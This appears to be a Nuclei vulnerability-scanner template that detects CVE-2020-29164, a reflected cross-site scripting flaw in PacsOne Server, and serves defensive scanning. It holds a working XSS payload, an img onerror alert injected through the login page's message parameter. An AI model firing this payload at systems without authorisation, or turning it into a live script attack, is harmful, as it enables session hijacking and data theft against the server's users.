id: CVE-2020-29164

info:
  name: PacsOne Server <7.1.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to PacsOne Server version 7.1.1 or later to mitigate this vulnerability.
  reference:
    - https://gist.github.com/leommxj/0a32afeeaac960682c5b7c9ca8ed070d
    - https://pacsone.net/download.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29164
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-29164
    cwe-id: CWE-79
    epss-score: 0.00205
    epss-percentile: 0.58449
    cpe: cpe:2.3:a:rainbowfishsoftware:pacsone_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rainbowfishsoftware
    product: pacsone_server
  tags: cve,cve2020,pacsone,xss,rainbowfishsoftware

http:
  - method: GET
    path:
      - "{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - '<img src="" onerror="alert(1);">1</img>'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201b986142698f4f41ab8b233585f962f071694623c132134c40b200e18457bbd30221009e5df94700874210487e4d6b2b216a642d91249f17165d27c5faa7be7b95cbff:922c64590222798bb761d5b6d8e72950